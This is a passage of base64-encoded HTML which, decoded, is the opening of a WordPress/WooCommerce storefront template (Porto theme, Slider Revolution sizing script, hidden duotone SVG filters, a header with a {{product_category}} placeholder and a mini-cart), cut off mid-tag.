+DQogICAgPG5vc2NyaXB0Pg0KICAgICAgICA8c3R5bGU+Lndvb2NvbW1lcmNlLXByb2R1Y3QtZ2FsbGVyeSB7DQogICAgICAgICAgICBvcGFjaXR5OiAxICFpbXBvcnRhbnQ7DQogICAgICAgIH08L3N0eWxlPg0KICAgIDwvbm9zY3JpcHQ+DQogICAgPG1ldGEgbmFtZT0iZ2VuZXJhdG9yIg0KICAgICAgICAgIGNvbnRlbnQ9IlBvd2VyZWQgYnkgU2xpZGVyIFJldm9sdXRpb24gNi41LjIwIC0gcmVzcG9uc2l2ZSwgTW9iaWxlLUZyaWVuZGx5IFNsaWRlciBQbHVnaW4gZm9yIFdvcmRQcmVzcyB3aXRoIGNvbWZvcnRhYmxlIGRyYWcgYW5kIGRyb3AgaW50ZXJmYWNlLiIvPg0KICAgIDxzY3JpcHQ+ZnVuY3Rpb24gc2V0UkVWU3RhcnRTaXplKGUpIHsNCiAgICAgICAgLy93aW5kb3cucmVxdWVzdEFuaW1hdGlvbkZyYW1lKGZ1bmN0aW9uKCkgew0KICAgICAgICB3aW5kb3cuUlNJVyA9IHdpbmRvdy5SU0lXID09PSB1bmRlZmluZWQgPyB3aW5kb3cuaW5uZXJXaWR0aCA6IHdpbmRvdy5SU0lXOw0KICAgICAgICB3aW5kb3cuUlNJSCA9IHdpbmRvdy5SU0lIID09PSB1bmRlZmluZWQgPyB3aW5kb3cuaW5uZXJIZWlnaHQgOiB3aW5kb3cuUlNJSDsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIHZhciBwdyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGUuYykucGFyZW50Tm9kZS5vZmZzZXRXaWR0aCwNCiAgICAgICAgICAgICAgICBuZXdoOw0KICAgICAgICAgICAgcHcgPSBwdyA9PT0gMCB8fCBpc05hTihwdykgPyB3aW5kb3cuUlNJVyA6IHB3Ow0KICAgICAgICAgICAgZS50YWJ3ID0gZS50YWJ3ID09PSB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50YWJ3KTsNCiAgICAgICAgICAgIGUudGh1bWJ3ID0gZS50aHVtYncgPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRodW1idyk7DQogICAgICAgICAgICBlLnRhYmggPSBlLnRhYmggPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRhYmgpOw0KICAgICAgICAgICAgZS50aHVtYmggPSBlLnRodW1iaCA9PT0gdW5kZWZpbmVkID8gMCA6IHBhcnNlSW50KGUudGh1bWJoKTsNCiAgICAgICAgICAgIGUudGFiaGlkZSA9IGUudGFiaGlkZSA9PT0gdW5kZWZpbmVkID8gMCA6IHBhcnNlSW50KGUudGFiaGlkZSk7DQogICAgICAgICAgICBlLnRodW1iaGlkZSA9IGUudGh1bWJoaWRlID09PSB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50aHVtYmhpZGUpOw0KICAgICAgICAgICAgZS5taCA9IGUubWggPT09IHVuZGVmaW5lZCB8fCBlLm1oID09ICIiIHx8IGUubWggPT09ICJhdXRvIiA/IDAgOiBwYXJzZUludChlLm1oLCAwKTsNCiAgICAgICAgICAgIGlmIChlLmxheW91dCA9PT0gImZ1bGxzY3JlZW4iIHx8IGUubCA9PT0gImZ1bGxzY3JlZW4iKQ0KICAgICAgICAgICAgICAgIG5ld2ggPSBNYXRoLm1heChlLm1oLCB3aW5kb3cuUlNJSCk7DQogICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICBlLmd3ID0gQXJyYXkuaXNBcnJheShlLmd3KSA/IGUuZ3cgOiBbZS5nd107DQogICAgICAgICAgICAgICAgZm9yICh2YXIgaSBpbiBlLnJsKSBpZiAoZS5nd1tpXSA9PT0gdW5kZWZpbmVkIHx8IGUuZ3dbaV0gPT09IDApIGUuZ3dbaV0gPSBlLmd3W2kgLSAxXTsNCiAgICAgICAgICAgICAgICBlLmdoID0gZS5lbCA9PT0gdW5kZWZpbmVkIHx8IGUuZWwgPT09ICIiIHx8IChBcnJheS5pc0FycmF5KGUuZWwpICYmIGUuZWwubGVuZ3RoID09IDApID8gZS5naCA6IGUuZWw7DQogICAgICAgICAgICAgICAgZS5naCA9IEFycmF5LmlzQXJyYXkoZS5naCkgPyBlLmdoIDogW2UuZ2hdOw0KICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gZS5ybCkgaWYgKGUuZ2hbaV0gPT09IHVuZGVmaW5lZCB8fCBlLmdoW2ldID09PSAwKSBlLmdoW2ldID0gZS5naFtpIC0gMV07DQoNCiAgICAgICAgICAgICAgICB2YXIgbmwgPSBuZXcgQXJyYXkoZS5ybC5sZW5ndGgpLA0KICAgICAgICAgICAgICAgICAgICBpeCA9IDAsDQogICAgICAgICAgICAgICAgICAgIHNsOw0KICAgICAgICAgICAgICAgIGUudGFidyA9IGUudGFiaGlkZSA+PSBwdyA/IDAgOiBlLnRhYnc7DQogICAgICAgICAgICAgICAgZS50aHVtYncgPSBlLnRodW1iaGlkZSA+PSBwdyA/IDAgOiBlLnRodW1idzsNCiAgICAgICAgICAgICAgICBlLnRhYmggPSBlLnRhYmhpZGUgPj0gcHcgPyAwIDogZS50YWJoOw0KICAgICAgICAgICAgICAgIGUudGh1bWJoID0gZS50aHVtYmhpZGUgPj0gcHcgPyAwIDogZS50aHVtYmg7DQogICAgICAgICAgICAgICAgZm9yICh2YXIgaSBpbiBlLnJsKSBubFtpXSA9IGUucmxbaV0gPCB3aW5kb3cuUlNJVyA/IDAgOiBlLnJsW2ldOw0KICAgICAgICAgICAgICAgIHNsID0gbmxbMF07DQogICAgICAgICAgICAgICAgZm9yICh2YXIgaSBpbiBubCkgaWYgKHNsID4gbmxbaV0gJiYgbmxbaV0gPiAwKSB7DQogICAgICAgICAgICAgICAgICAgIHNsID0gbmxbaV07DQogICAgICAgICAgICAgICAgICAgIGl4ID0gaTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgdmFyIG0gPSBwdyA+IChlLmd3W2l4XSArIGUudGFidyArIGUudGh1bWJ3KSA/IDEgOiAocHcgLSAoZS50YWJ3ICsgZS50aHVtYncpKSAvIChlLmd3W2l4XSk7DQogICAgICAgICAgICAgICAgbmV3aCA9IChlLmdoW2l4XSAqIG0pICsgKGUudGFiaCArIGUudGh1bWJoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHZhciBlbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGUuYyk7DQogICAgICAgICAgICBpZiAoZWwgIT09IG51bGwgJiYgZWwpIGVsLnN0eWxlLmhlaWdodCA9IG5ld2ggKyAicHgiOw0KICAgICAgICAgICAgZWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlLmMgKyAiX3dyYXBwZXIiKTsNCiAgICAgICAgICAgIGlmIChlbCAhPT0gbnVsbCAmJiBlbCkgew0KICAgICAgICAgICAgICAgIGVsLnN0eWxlLmhlaWdodCA9IG5ld2ggKyAicHgiOw0KICAgICAgICAgICAgICAgIGVsLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICBjb25zb2xlLmxvZygiRmFpbHVyZSBhdCBQcmVzaXplIG9mIFNsaWRlcjoiICsgZSkNCiAgICAgICAgfQ0KICAgICAgICAvL30pOw0KICAgIH07PC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keSBjbGFzcz0iaG9tZSBwYWdlLXRlbXBsYXRlLWRlZmF1bHQgcGFnZSBwYWdlLWlkLTE0MyB3cC1lbWJlZC1yZXNwb25zaXZlIHRoZW1lLXBvcnRvIHdvb2NvbW1lcmNlLW5vLWpzIGxvZ2luLXBvcHVwIHdpZGUgYmxvZy0xIGJvZHktc2lkZSBlbGVtZW50b3ItZGVmYXVsdCBlbGVtZW50b3Ita2l0LTIxNTIgZWxlbWVudG9yLXBhZ2UgZWxlbWVudG9yLXBhZ2UtMTQzIj4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1kYXJrLWdyYXlzY2FsZSI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNDk4MDM5MjE1Njg2MjciLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC40OTgwMzkyMTU2ODYyNyIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjQ5ODAzOTIxNTY4NjI3Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1ncmF5c2NhbGUiPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtcHVycGxlLXllbGxvdyI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjU0OTAxOTYwNzg0MzE0IDAuOTg4MjM1Mjk0MTE3NjUiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC43MTc2NDcwNTg4MjM1MyAwLjI1NDkwMTk2MDc4NDMxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1ibHVlLXJlZCI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC4yNzg0MzEzNzI1NDkwMiIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC41OTIxNTY4NjI3NDUxIDAuMjc4NDMxMzcyNTQ5MDIiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLW1pZG5pZ2h0Ij4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMCIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjY0NzA1ODgyMzUyOTQxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLW1hZ2VudGEteWVsbG93Ij4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNzgwMzkyMTU2ODYyNzUgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjk0OTAxOTYwNzg0MzE0Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjM1Mjk0MTE3NjQ3MDU5IDAuNDcwNTg4MjM1Mjk0MTIiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLXB1cnBsZS1ncmVlbiI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjY1MDk4MDM5MjE1Njg2IDAuNDAzOTIxNTY4NjI3NDUiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC40NDcwNTg4MjM1Mjk0MSAwLjQiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWJsdWUtb3JhbmdlIj4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuMDk4MDM5MjE1Njg2Mjc1IDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC42NjI3NDUwOTgwMzkyMiIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC44NDcwNTg4MjM1Mjk0MSAwLjQxOTYwNzg0MzEzNzI1Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxkaXYgY2xhc3M9InBhZ2Utd3JhcHBlciBzaWRlLW5hdiI+PCEtLSBwYWdlIHdyYXBwZXIgLS0+DQoNCiAgICA8IS0tIGhlYWRlciB3cmFwcGVyIC0tPg0KICAgIDxkaXYgY2xhc3M9ImhlYWRlci13cmFwcGVyIGZpeGVkLWhlYWRlciBoZWFkZXItc2lkZS1uYXYgc2lkZS1uYXYtd3JhcCI+DQogICAgICAgIDxoZWFkZXIgaWQ9ImhlYWRlciIgY2xhc3M9ImhlYWRlci1zaWRlIHN0aWNreS1tZW51LWhlYWRlciIgZGF0YS1wbHVnaW4tc3RpY2t5DQogICAgICAgICAgICAgICAgZGF0YS1wbHVnaW4tb3B0aW9ucz0ieyZxdW90O2F1dG9Jbml0JnF1b3Q7OiB0cnVlLCAmcXVvdDttaW5XaWR0aCZxdW90OzogOTkyLCAmcXVvdDtjb250YWluZXJTZWxlY3RvciZxdW90OzogJnF1b3Q7LnBhZ2Utd3JhcHBlciZxdW90OywmcXVvdDthdXRvRml0JnF1b3Q7OnRydWUsICZxdW90O3BhZGRpbmdPZmZzZXRCb3R0b20mcXVvdDs6IDAsICZxdW90O3BhZGRpbmdPZmZzZXRUb3AmcXVvdDs6IDB9Ij4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRlci1tYWluIHNob3ctbWluaWNhcnQiPg0KDQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItY2VudGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD0ibWVudS1tYWluLW1lbnUiIGNsYXNzPSJzaWRlYmFyLW1lbnUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7cHJvZHVjdF9jYXRlZ29yeX19DQogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im1vYmlsZS10b2dnbGUiIGFyaWEtbGFiZWw9Ik1vYmlsZSBNZW51IiBocmVmPSIjIj48aSBjbGFzcz0iZmFzIGZhLWJhcnMiPjwvaT48L2E+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQteGwtbm9uZSBkLWxnLW5vbmUgaW5saW5lLWJsb2NrIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJtaW5pLWNhcnQiIGNsYXNzPSJtaW5pLWNhcnQgc2ltcGxlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FydC1oZWFkIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJjYXJ0LWljb24iPjxpIGNsYXNzPSJtaW5pY2FydC1pY29uIHBvcnRvLWljb24tc2hvcHBpbmctY2FydCI+PC9pPjxzcGFuDQogICAgICAgICAg